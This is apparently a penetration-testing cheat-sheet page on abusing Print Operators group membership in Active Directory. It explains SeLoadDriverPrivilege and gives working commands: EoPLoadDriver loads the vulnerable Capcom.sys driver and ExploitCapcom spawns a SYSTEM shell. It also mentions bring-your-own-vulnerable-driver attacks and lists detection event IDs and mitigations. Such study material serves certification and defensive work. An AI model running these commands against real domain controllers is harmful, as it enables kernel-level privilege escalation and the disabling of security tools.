AD^:Active Directory

Attack #52 — Abusing Print Operators Group

whoami /priv

advancedupdated 2026-08-10PowerShell

🟣 Attack #52 — Abusing Print Operators Group


📖 How It Works

Print Operators can log on to Domain Controllers and manage printers. More importantly, they have the SeLoadDriverPrivilege — the ability to load kernel drivers into the operating system. This can be abused to load a malicious driver that grants SYSTEM access or disables security controls.


⚙️ Prerequisites

RequirementDetail
Membership in Print OperatorsProvides SeLoadDriverPrivilege on DCs

💻 Full Commands

# ── Verify privilege ──────────────────────────────────────────────────────────
whoami /priv
# SeLoadDriverPrivilege        Load and unload device drivers    Enabled

# ── EoPLoadDriver exploit (load Capcom.sys for kernel execution) ──────────────
.\EoPLoadDriver.exe System\CurrentControlSet\MyDriver .\Capcom.sys
.\ExploitCapcom.exe
# Spawns SYSTEM shell

# ── Alternative: load vulnerable driver for BYOVD attack ─────────────────────
# Bring Your Own Vulnerable Driver — load a signed but vulnerable driver
# Then exploit it for kernel-level code execution

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4672Security LogSeLoadDriverPrivilege assigned
7045System LogDriver loaded
Sysmon 6SysmonDriver loaded — filter for non-standard drivers

🔗 Attack Chain Context

[Print Operators] ──→ SeLoadDriverPrivilege → load kernel driver → SYSTEM
         │
         ├──→ 🔗 Kernel driver → disable EDR/AV → undetected persistence
         └──→ 💀 Defeated by: empty Print Operators group, driver signing enforcement

✅ Attack #52 — Print Operators complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.